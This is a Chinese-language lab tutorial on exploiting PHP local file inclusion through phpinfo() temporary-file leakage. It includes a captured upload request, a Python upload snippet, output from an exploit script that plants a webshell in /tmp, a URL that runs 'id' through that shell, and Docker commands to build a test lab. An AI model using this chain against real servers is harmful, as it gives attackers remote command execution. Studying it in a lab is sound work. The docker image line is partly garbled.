0x00 简介 php本地文件包含漏洞相关知识,乌云上早有相应的文章,lfi with phpinfo最早由国外大牛提出,可参考下面两篇文章。利用的原理是利用php post上传文件产生临时文件,phpinfo()读临时文件的路径和名字,本地包含漏洞生成1句话后门。
此方式在本地测试成功,为了方便大家学习,减小学习成本,已构建docker环境,轻松测试。将构建好的docker放在国外vps上,使用github项目 lfi_phpinfo中poc文件夹下的脚本,本地运行,依然可以getshell。说明这种方式是可行的,对网络要求不是很高。
docker hub 镜像地址: janes/lfi_phpinfo
github 项目地址: lfi_phpinfo
源码存放在 code目录下, 可使用docker再现,poc目录下存放利用脚本
paper:
http://gynvael.coldwind.pl/download.php?f=php_lfi_rfc1867_temporary_files.pdf
http://www.insomniasec.com/publications/lfi%20with%20phpinfo%20assistance.pdf
0x01 php 上传 向服务器上任意php文件 post请求上传文件时,都会生成临时文件,可以直接在phpinfo页面找到临时文件的路径及名字。
post上传文件 php post方式上传任意文件,服务器都会创建临时文件来保存文件内容。
在http协议中为了方便进行文件传输,规定了一种基于表单的 html文件传输方法
其中要确保上传表单的属性是 enctype=”multipart/form-data,必须用post 参见: php file-upload.post-method
其中php引擎对enctype=”multipart/form-data”这种请求的处理过程如下:
请求到达 创建临时文件,并写入上传文件的内容 调用相应php脚本进行处理,如校验名称、大小等 删除临时文件 php引擎会首先将文件内容保存到临时文件,然后进行相应的操作。临时文件的名称是 php+随机字符 。
$_files信息,包括临时文件路径、名称 在php中,有超全局变量$_files,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小
0x02 手工测试phpinfo()获取临时文件路径 html表单 文件 upload.html
#!html test upload tmp file filename:
浏览器访问 upload.html, 上传文件 file.txt
#!php
burp 查看post 信息如下
#!bashpost /lfi_phpinfo/phpinfo.php http/1.1host: 127.0.0.1user-agent: mozilla/5.0 (x11; linux x86_64; rv:44.0) gecko/20100101 firefox/44.0accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8accept-language: en-us,en;q=0.5accept-encoding: gzip, deflatereferer: http://127.0.0.1/lfi_phpinfo/upload.htmlconnection: closecontent-type: multipart/form-data; boundary=---------------------------11008921013555437861019615112content-length: 368-----------------------------11008921013555437861019615112content-disposition: form-data; name=file; filename=file.txtcontent-type: text/plain-----------------------------11008921013555437861019615112content-disposition: form-data; name=submitsubmit-----------------------------11008921013555437861019615112--
浏览器访问,phpinfo 返回如下信息:
#!php_request[submit] submit_post[submit] submit_files[file] array ( [name] => file.txt [type] => text/plain [tmp_name] => /tmp/phpufdchh [error] => 0 [size] => 33 )
得到tmp_name 路径
0x03 python脚本 upload file #!pythonimport requestshost = '127.0.0.1'url = 'http://{ip}/lfi_phpinfo/phpinfo.php'.format(ip=host)file_ = '/var/www/lfi_phpinfo/file.txt'response = requests.post(url, files={name: open(file_, 'rb')})print(response.text)
部分返回结果
#!php_files[name] array( [name] => file.txt [type] => [tmp_name] => /tmp/php7evbv3 [error] => 0 [size] => 33)
0x04 本地搭建环境 get shell
#!bash$ python lfi_phpinfo.py 127.0.0.1lfi with phpinfo()==============================info:__main__:getting initial offset ...info:__main__:found [tmp_name] at 67801info:__main__:got it! shell created in /tmp/ginfo:__main__:wowo! \m/info:__main__:shutting down...
firefox 访问
#!bashhttp://127.0.0.1/lfi_phpinfo/lfi.php?load=/tmp/gc&f=iduid=33(www-data) gid=33(www-data) groups=33(www-data)
说明getshell成功,之后就可以自由发挥了~~
0x05 使用 docker 构建环境 docker的基本用法,这里就不阐述了,可自行google。这里提供了两种构建镜像源的方式,使用github lfi_phpinfo中dockerfile自行构建,或使用我已经构建好的镜像 janes/lfi_phpinfo
镜像源 -- [php 1=官方源 2=2=2=2=2=language=:5.6-apache\][/php] /php 5
或
-- janes/lfi_phpinfo
构建环境运行测试 获取 github lfi_phpinfo的源码,切换到web目录下,开始构建环境进行测试。这里提供三种方式运行
方式1 使用php官方源运行测试
#!bashdocker run --rm -v code/:/var/www/html -p 80:80 php:5.6-apache
方式2 使用构建好的镜像 janes/lfi_phpinfo运行测试
#!bashdocker pull janes/lfi_phpinfodocker run --rm -p 80:80 janes/lfi_phpinfo
方式3 使用docker-compose
#!bash docker-compose up
接下来就可以使用python脚本 getshell 了
#!bashpython lfi_phpinfo.py docker_host_ip
0x06 结束语 动手实践 lfi with phpinfo利用的过程,其实并不像看文章过程那样顺利,期间多多少少会碰见一些与环境有关的问题,而解决这些问题会耗费精力,这正是催生我用docker来构建测试环境想法的来源,希望能给网络安全的热爱者们提供更方便的学习环境。最后感谢[lfi with phpinfo本地测试过程]文章的作者,给我研究lfi with phpinfo提供了不少帮助。